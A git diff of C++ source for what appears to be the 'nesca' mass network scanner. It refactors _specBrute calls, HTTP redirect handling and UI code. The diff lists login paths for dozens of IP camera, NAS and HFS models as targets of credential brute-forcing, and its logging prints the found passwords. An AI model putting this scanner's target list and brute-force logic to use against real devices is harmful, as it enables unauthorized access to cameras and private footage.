flag, "/user/index.htm", "Basic Authorization", cp, recd); } else if(flag == 22) //IP Camera control { - _specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd); } else if(flag == 23) //Network Camera BB-SC384 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd); } else if(flag == 24) //Network Camera VB-M40 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd); } else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera { - _specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd); } else if(flag == 26) //Sony Network Camera { - _specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd); } else if(flag == 27) //UA Network Camera { - _specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd); } else if(flag == 28) //Network Camera VB-M40 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd); } else if(flag == 29) //LG Smart IP Device { - _specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd); } else if(flag == 30) //NAS { - _specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd); } else if(flag == 31) //ip cam { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd); } else if(flag == 32) //IPC WEB ip cam { @@ -1777,7 +1778,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * } else if(flag == 34) //Hikvision ip cam { - _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd); } else if(flag == 35) //EasyCam { @@ -1785,11 +1786,11 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * } else if(flag == 36) //Panasonic Cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd); } else if(flag == 37) //Panasonic Cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd); } else if(flag == 38) //Foscam { @@ -1797,11 +1798,11 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * } else if(flag == 39) //EagleEye { - _specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd); } else if(flag == 40) //Network Camera VB-C?? { - _specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd); } else if(flag == 41) //AVIOSYS-camera { @@ -1809,19 +1810,19 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * } else if(flag == 42) //NW_camera { - _specBrute(ps.cookie, ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd); } else if(flag == 43) //NW_camera { - _specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd); } else if(flag == 44) //Hikvision ip cam 2 { - _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd); } else if(flag == 45) //Panasonic ip cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd); } else if(flag == 46) //Buffalo disk { @@ -1841,39 +1842,39 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * } else if (flag == 50) //IP Camera { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, recd); } else if(flag == 20) //AXIS Camera { - _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd); } else if(flag == 19) //reecam cameras { - _specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd); } else if(flag == 18) //linksys camera { - _specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd); } else if(flag == 17) //Real-time IP Camera Monitoring System { - _specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd); } else if(flag == 11) { - _specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd); } else if(flag == 12) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd); } else if(flag == 13) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd); } else if(flag == 14) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd); } else if(flag == 15) //For HFS { @@ -1882,7 +1883,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * isActive = 1; ++AnomC1; - lps = _BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); + lps = _BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]"); sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>", hl, ip, port, ip, port, finalstr, lps.login, lps.pass); @@ -1910,11 +1911,11 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * } else if(flag == 1) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", cp, recd); } else if(flag == 101) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", cp, recd, buffcpy); + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", cp, recd); } else if(flag == 10) { @@ -1929,11 +1930,6 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * return flag; } -const char *rbuff1 = "GET "; -const char *rbuff2 = " HTTP/1.1\r\nHost: "; -const char *rbuff3 = "\r\nCookie:"; -const char *rbuff4 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n\r\n"; - int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector<std::string> *redirStrLst, char *buff) { if(ls->iterationCount++ == 5) @@ -1949,8 +1945,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P char tempIP[MAX_ADDR_LEN] = {0}; strcpy(tempIP, ip); int tempPort = port; - char tempPath[1024] = {0}; - char mes[2048]= {0}; + char tempPath[1024] = {0}; if(strstri(str, "https://") != NULL) { @@ -2002,32 +1997,16 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P strcpy(tempPath, "/"); }; - strcpy(mes, rbuff1); - if(tempPath[0] != '/') strcat(mes, "/"); - strcat(mes, tempPath); - strcat(mes, rbuff2); - strcat(mes, tempIP); - if(tempPort != 80){ - strcat(mes, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", tempPort); - strcat(mes, tbuff); - } - if(strlen(cookie) != 0) - { - strcat(mes, rbuff3); - strcat(mes, cookie); - }; - strcat(mes, rbuff4); - + std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); + sprintf(nip.get(), "%s%s", tempIP, tempPath); std::string buffer; - int cSz = Connector::nConnect(tempIP, tempPort, buffer); + int cSz = Connector::nConnect(nip.get(), tempPort, &buffer); if(cSz > -1) { strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535)); strcpy(ps->codepage, GetCodePage(buff)); - ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); + ls->flag = ContentFilter(buff, tempPort, tempIP, ps->codepage); ps->flag = ls->flag; if(ls->flag == -1) @@ -2058,7 +2037,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P strcat(ps->headr, " -> "); strcat(ps->headr, GetTitle(buff)); - if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) + if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1) { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); @@ -2068,16 +2047,16 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; ps->port = tempPort; - if(strlen(buff) < 1) - { - ps->flag = 3; - ls->flag = 3; - } - else if(cstr.overflow == true) - { - ls->flag = 0; - ps->flag = 0; - }; +// if(strlen(buff) < 1) +// { +// ps->flag = 3; +// ls->flag = 3; +// } +// else if(cstr.overflow == true) +// { +// ls->flag = 0; +// ps->flag = 0; +// }; } else { @@ -2113,6 +2092,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P strcpy(tempPath, "/"); sz = ptr2 - ptr1 - 7; }; + char tPort[8] = {0}; strncpy(tPort, ptr2 + 1, sz < 8 ? sz : 5); tempPort = atoi(tPort); @@ -2138,32 +2118,16 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P strcpy(tempPath, "/"); }; - strcpy(mes, rbuff1); - if(tempPath[0] != '/') strcat(mes, "/"); - strcat(mes, tempPath); - strcat(mes, rbuff2); - strcat(mes, tempIP); - if(tempPort != 80){ - strcat(mes, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", tempPort); - strcat(mes, tbuff); - } - if(strlen(cookie) != 0) - { - strcat(mes, rbuff3); - strcat(mes, cookie); - }; - strcat(mes, rbuff4); - + std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); + sprintf(nip.get(), "%s%s", tempIP, tempPath); std::string buffer; - int cSz = Connector::nConnect(tempIP, tempPort, buffer); + int cSz = Connector::nConnect(nip.get(), tempPort, &buffer); if(cSz > -1) { - strncpy(buff, cstr.lowerBuff, (cSz< 65535 ? cSz : 65535)); - strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535)); + strcpy(ps->codepage, GetCodePage(buff)); - ls->flag = ContentFilter(cstr.lowerBuff, tempPort, tempIP, ps->codepage); + ls->flag = ContentFilter(buff, tempPort, tempIP, ps->codepage); ps->flag = ls->flag; if(ls->flag == -1) @@ -2177,7 +2141,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) { - strcat(ps->headr, GetTitle(cstr.lowerBuff)); + strcat(ps->headr, GetTitle(buff)); ps->flag = ls->flag; strcpy(ps->path, tempPath); ps->port = tempPort; @@ -2191,9 +2155,11 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = tempPort; return -2; }; + strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(cstr.lowerBuff)); - if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) + strcat(ps->headr, GetTitle(buff)); + + if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1) { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); @@ -2203,16 +2169,16 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; ps->port = tempPort; - if(strlen(buff) < 1) - { - ps->flag = 3; - ls->flag = 3; - } - else if(cstr.overflow == true) - { - ls->flag = 0; - ps->flag = 0; - }; +// if(strlen(buff) < 1) +// { +// ps->flag = 3; +// ls->flag = 3; +// } +// else if(cstr.overflow == true) +// { +// ls->flag = 0; +// ps->flag = 0; +// }; } else { @@ -2220,6 +2186,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ls->flag = -1; if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _header::redirect [Dead host]."); }; + return -2; } else if(str[0] == '/' || (str[0] == '.' && str[1] == '/') || (str[0] == '.' && str[1] == '.' && str[2] == '/')) @@ -2228,61 +2195,33 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P else if(str[0] == '.') strcpy(tempPath, str + 1); else strcpy(tempPath, str); - strcpy(mes, rbuff1); - if(tempPath[0] != '/') strcat(mes, "/"); - strcat(mes, tempPath); - strcat(mes, rbuff2); - strcat(mes, ip); - if(tempPort != 80){ - strcat(mes, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", tempPort); - strcat(mes, tbuff); - } - if(strlen(cookie) != 0) + std::unique_ptr<char[]> nip(new char[strlen(tempIP) + strlen(tempPath) + 1]); + sprintf(nip.get(), "%s%s", tempIP, tempPath); + std::string buffer; + int cSz = Connector::nConnect(nip.get(), tempPort, &buffer); + if(cSz > -1) { - strcat(mes, rbuff3); - strcat(mes, cookie); - }; - strcat(mes, rbuff4); + strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535)); + strcpy(ps->codepage, GetCodePage(buff)); - conSTR cstr; - cstr.size = 0; - cstr.lowerBuff = NULL; - int cRes = 0; - if(port == 443) cRes = con._EstablishSSLConnection(ip, 443, mes, &cstr); - else cRes = con._EstablishConnection(ip, port, mes, &cstr); - if(cstr.size < 65535) - { - strncpy(buff, cstr.lowerBuff, cstr.size); - } - else - { - strncpy(buff, cstr.lowerBuff, 65535); - }; - if(cRes > -1) - { - strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); - - ls->flag = ContentFilter(cstr.lowerBuff, port, ip, ps->codepage); + ls->flag = ContentFilter(buff, port, ip, ps->codepage); ps->flag = ls->flag; if(ls->flag == -1) { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete []cstr.lowerBuff; + strcpy(ps->path, tempPath); return -2; }; + if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) { - strcat(ps->headr, GetTitle(cstr.lowerBuff)); + strcat(ps->headr, GetTitle(buff)); ps->flag = ls->flag; - strcpy(ps->path, tempPath); - delete []cstr.lowerBuff; + strcpy(ps->path, tempPath); ps->port = port; strcpy(ps->ip, ip); @@ -2294,30 +2233,30 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P ps->port = tempPort; return -2; }; + strcat(ps->headr, "->"); - strcat(ps->headr, GetTitle(cstr.lowerBuff)); - if (ls->_header(tempIP, tempPort, cstr.lowerBuff, ls, ps, redirStrLst, buff) == -1) + strcat(ps->headr, GetTitle(buff)); + + if (ls->_header(tempIP, tempPort, buff, ls, ps, redirStrLst, buff) == -1) { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete[]cstr.lowerBuff; + strcpy(ps->path, tempPath); return -1; }; ps->port = tempPort; - if(strlen(cstr.lowerBuff) < 1) - { - ps->flag = 3; - ls->flag = 3; - } - else if(cstr.overflow == true) - { - ls->flag = 0; - ps->flag = 0; - }; +// if(strlen(buff) < 1) +// { +// ps->flag = 3; +// ls->flag = 3; +// } +// else if(cstr.overflow == true) +// { +// ls->flag = 0; +// ps->flag = 0; +// }; - delete []cstr.lowerBuff; } else { @@ -2328,42 +2267,23 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P return -2; } else if(strlen(str) > 2) - { - strcpy(tempPath, str); - strcpy(mes, rbuff1); - if(tempPath[0] != '/') strcat(mes, "/"); - strcat(mes, tempPath); - strcat(mes, rbuff2); - strcat(mes, ip); - if(tempPort != 80){ - strcat(mes, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", tempPort); - strcat(mes, tbuff); - } - if(strlen(cookie) != 0) + { + std::unique_ptr<char[]> nip(new char[strlen(ip) + strlen(str) + 1]); + sprintf(nip.get(), "%s%s", ip, str); + std::string buffer; + int cSz = Connector::nConnect(nip.get(), port, &buffer); + if(cSz > -1) { - strcat(mes, rbuff3); - strcat(mes, cookie); - }; - strcat(mes, rbuff4); - - conSTR cstr; - cstr.size = 0; - cstr.lowerBuff = NULL; - if(con._EstablishConnection(ip, port, mes, &cstr) != -1) - { - strncpy(buff, cstr.lowerBuff, (cstr.size < 65535 ? cstr.size : 65535)); - strcpy(ps->codepage, GetCodePage(cstr.lowerBuff)); + strncpy(buff, buffer.c_str(), (cSz < 65535 ? cSz : 65535)); + strcpy(ps->codepage, GetCodePage(buff)); - ls->flag = ContentFilter(cstr.lowerBuff, port, ip, ps->codepage); + ls->flag = ContentFilter(buff, port, ip, ps->codepage); ps->flag = ls->flag; if(ls->flag == -1) { ps->flag = -1; strcpy(ps->headr, "[IGNR_ADDR]"); - strcpy(ps->path, tempPath); - delete []cstr.lowerBuff; + strcpy(ps->path, tempPath); return -1; }; @@ -2371,39 +2291,37 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(ls->flag >= 17 || ls->flag == 11 || ls->flag == 12 || ls->flag == 13 || ls->flag == 14 || ls->flag == 1 || ls->flag == 10) { - strcat(ps->headr, GetTitle(cstr.lowerBuff)); + strcat(ps->headr, GetTitle(buff)); ps->flag = ls->flag; - strcpy(ps->path, tempPath); - delete []cstr.lowerBuff; + strcpy(ps->path, tempPath); ps->port = port; strcpy(ps->ip, ip); return -2; }; - if(ls->flag == 6) - { - ps->flag = ls->flag; - ps->port = tempPort; - return -2; - }; + if(ls->flag == 6) + { + ps->flag = ls->flag; + ps->port = tempPort; + return -2; + }; + strcat(ps->headr, " -> "); - strcat(ps->headr, GetTitle(cstr.lowerBuff)); - ls->_header(ip, port, cstr.lowerBuff, ls, ps, redirStrLst, buff); + strcat(ps->headr, GetTitle(buff)); + ls->_header(ip, port, buff, ls, ps, redirStrLst, buff); ps->port = tempPort; - if(strlen(cstr.lowerBuff) < 1) - { - ps->flag = 3; - ls->flag = 3; - } - else if(cstr.overflow == true) - { - ls->flag = 0; - ps->flag = 0; - }; - - delete []cstr.lowerBuff; +// if(strlen(buff) < 1) +// { +// ps->flag = 3; +// ls->flag = 3; +// } +// else if(cstr.overflow == true) +// { +// ls->flag = 0; +// ps->flag = 0; +// }; } else { diff --git a/mainResources.h b/mainResources.h index ce13e7f..e92283d 100644 --- a/mainResources.h +++ b/mainResources.h @@ -158,5 +158,5 @@ class Connector_old extern lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); -extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL); +extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method); extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps); diff --git a/msgcheckerthread.cpp b/msgcheckerthread.cpp index eb4c9da..9f71f8c 100644 --- a/msgcheckerthread.cpp +++ b/msgcheckerthread.cpp @@ -7,7 +7,7 @@ void MSGCheckerThread::doEmitionShowNewMsg(QString str) { emit mct->showNewMsg(str); -}; +} void _getNewMsg() { diff --git a/nesca.pro b/nesca.pro index fa5a8ed..b773f97 100644 --- a/nesca.pro +++ b/nesca.pro @@ -35,10 +35,10 @@ SOURCES +=\ STh.cpp \ vercheckerthread.cpp \ finder.cpp \ - Utils.cpp \ WebformWorker.cpp \ Connector.cpp \ - connector_old.cpp + connector_old.cpp \ + Utils.cpp HEADERS += ActivityDrawerTh_HorNet.h \ diff --git a/nesca_3.cpp b/nesca_3.cpp index a261655..ce941c6 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -35,6 +35,8 @@ int ver = 100*(100*(date.year()%100) + date.month()) + date.day(); #define WIDGET_WIDTH 500 //#define IRC_CHAN "iskopasi_lab01" + + bool utfIRCFlag = true; bool HTMLDebugMode = false; bool code160 = false; @@ -74,6 +76,8 @@ char trcProxy[128] = {0}; char trcSrv[256] = {0}; char trcScr[256] = {0}; char trcPersKey[32] = {0}; +char gProxyIP[64] = {0}; +char gProxyPort[8] = {0}; SOCKET lSock; @@ -738,37 +742,39 @@ void nesca_3::slotAddLine(int x1, int y1, int x2, int y2) void nesca_3::slotAddPolyLine() { + sceneGraph->setItemIndexMethod(QGraphicsScene::NoIndex); if(ME2ScanFlag) - { - double uu = 0.0; - QPainterPath path; - if(vect.size() > 0) - { - path.moveTo(vect[0]); - for(int i = 1; i < vect.size(); ++i) - { - path.lineTo(vect[i]); - }; - }; - - QGraphicsPathItem* itm = new QGraphicsPathItem(path); - - itm->setPen(pen2i); - int vSz = sceneGraph->items().size(); - for(int i = 0; i < vSz; ++i) + { + QPainterPath path; + if(vect.size() > 0) { - sceneGraph->items()[i]->setY(u+i + 1); - sceneGraph->items()[i]->setOpacity(1 - uu); - uu+=0.027; - u+=1; + path.moveTo(vect[0]); + for(int i = 1; i < vect.size(); ++i) + { + path.lineTo(vect[i]); + }; }; + + QGraphicsPathItem* itm = new QGraphicsPathItem(path); + itm->setPen(pen2i); sceneGraph->addItem(itm); - if(vSz == 50) + double uu = 0.0; + int vSz = sceneGraph->items().count(); + for(int i = 0; i < vSz; ++i) { - sceneGraph->items().pop_back(); - }; - if(u > 10) u = 1; + sceneGraph->items()[i]->setY(u + i + 1); + sceneGraph->items()[i]->setOpacity(0 + uu); + uu += 0.027; + u += 1; + }; + + while(sceneGraph->items().count() > 38) + { + sceneGraph->removeItem(sceneGraph->items().first()); + }; + + if(u > 10) u = 1; }; } @@ -2977,6 +2983,21 @@ void nesca_3::ConnectEvrthng() connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); } +QString loadNescaSetup(char *resStr, char *option) { + + char *lex = NULL; + if(strstr(resStr, option) != NULL) + { + lex = strstr(resStr, option) + strlen(option); + + if(strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + return QString(lex); + } return ""; + } + return ""; +} void RestoreSession() { FILE *resFile = fopen("restore", "r"); @@ -2985,7 +3006,6 @@ void RestoreSession() if(resFile != NULL) { - stt->doEmitionYellowFoundData("Previous session file found! Restoring..."); while(fgets(resStr, 128, resFile) != NULL) @@ -3087,176 +3107,32 @@ void RestoreSession() }; }; - if(strstr(resStr, "[NDBSERVER]:") != NULL) - { - lex = strstr(resStr, "[NDBSERVER]:") + strlen("[NDBSERVER]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->lineTrackerSrv->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[NDBSCRIPT]:") != NULL) - { - lex = strstr(resStr, "[NDBSCRIPT]:") + strlen("[NDBSCRIPT]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->lineTrackerScr->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[NDBPORT]:") != NULL) - { - lex = strstr(resStr, "[NDBPORT]:") + strlen("[NDBPORT]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->trcSrvPortLine->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[PROXY]:") != NULL) - { - lex = strstr(resStr, "[PROXY]:") + strlen("[PROXY]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - }; - } - else if(strstr(resStr, "[PROXYPORT]:") != NULL) - { - lex = strstr(resStr, "[PROXYPORT]:") + strlen("[PROXYPORT]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - }; - } - else if(strstr(resStr, "[PING]:") != NULL) - { - lex = strstr(resStr, "[PING]:") + strlen("[PING]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->pingingOnOff->setChecked(strcmp(lex, "true") == 0 ? true : false); - }; - } - else if(strstr(resStr, "[PING_TO]:") != NULL) - { - lex = strstr(resStr, "[PING_TO]:") + strlen("[PING_TO]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->PingTO->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[THREAD_DELAY]:") != NULL) - { - lex = strstr(resStr, "[THREAD_DELAY]:") + strlen("[THREAD_DELAY]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) - 1] = '\0'; - ui->threadDelayBox->setText(QString(lex)); - }; - } - else if(strstr(resStr, "[TIMEOUT]:") != NULL) - { - lex = strstr(resStr, "[TIMEOUT]:") + strlen("[TIMEOUT]:"); - - if(strlen(lex) > 1) - { - lex[strlen(lex) 